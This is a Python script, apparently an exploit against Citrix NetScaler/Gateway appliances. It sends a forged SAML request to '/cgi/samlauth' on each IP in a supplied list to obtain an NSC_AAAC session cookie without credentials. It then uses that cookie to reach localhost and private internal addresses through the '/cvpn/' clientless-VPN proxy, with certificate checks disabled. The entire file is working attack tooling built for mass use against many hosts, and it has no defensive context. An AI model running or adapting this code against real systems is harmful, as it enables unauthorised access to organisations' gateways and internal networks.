import base64, re, ssl, sys, urllib.error, urllib.parse, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
RS16 = base64.b64encode(b"ctx=" + b"\x00" * 12).decode()


def op():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("DEFAULT@SECLEVEL=1")

    class N(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None

    return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), N)


def call(ip, path, cookie=None, data=None, timeout=20):
    r = urllib.request.Request("https://%s%s" % (ip, path), data=data)
    r.add_header("User-Agent", UA)
    if data is not None:
        r.add_header("Content-Type", "application/x-www-form-urlencoded")
    if cookie:
        r.add_header("Cookie", cookie)
    try:
        x = op().open(r, timeout=timeout)
        return x.status, x.headers.get("Location") or "", x.read(200000).decode("utf-8", "replace"), (x.headers.get_all("Set-Cookie") or [])
    except urllib.error.HTTPError as e:
        return e.code, e.headers.get("Location") or "", e.read(200000).decode("utf-8", "replace"), (e.headers.get_all("Set-Cookie") or [])
    except Exception as e:
        return None, "", type(e).__name__, []


def mint(ip):
    body = ("SAMLResponse=AAAA&RelayState=" + urllib.parse.quote(RS16, safe="")).encode()
    st, loc, b, cks = call(ip, "/cgi/samlauth", None, body)
    ck = [c.split(";")[0] for c in cks if c.startswith("NSC_AAAC") and "xyz" not in c.split(";")[0]]
    return (ck[0] if ck else None)


TARGETS = [
    "/cvpn/http/127.0.0.1/vpns/services.html",
    "/cvpn/https/127.0.0.1/vpns/services.html",
    "/cvpn/http/127.0.0.1/",
    "/cvpn/http/10.0.0.1/",
    "/cvpn/http/192.168.1.1/",
    "/cvpn/http/10.1.1.1/",
]


def main():
    for ip in [l.strip() for l in open(sys.argv[1]) if l.strip()]:
        ck = mint(ip)
        print("===", ip, "cookie", bool(ck), flush=True)
        if not ck:
            continue
        for p in TARGETS:
            st, loc, b, _ = call(ip, p, ck)
            t = (re.findall(r"<title[^>]*>(.{0,60}?)</title>", b, re.S | re.I) or [""])[0].strip()
            print("  %-45s %s %s len=%d %s | %s" % (p, st, loc[:40], len(b), t, " ".join(b.split())[:80]), flush=True)


main()
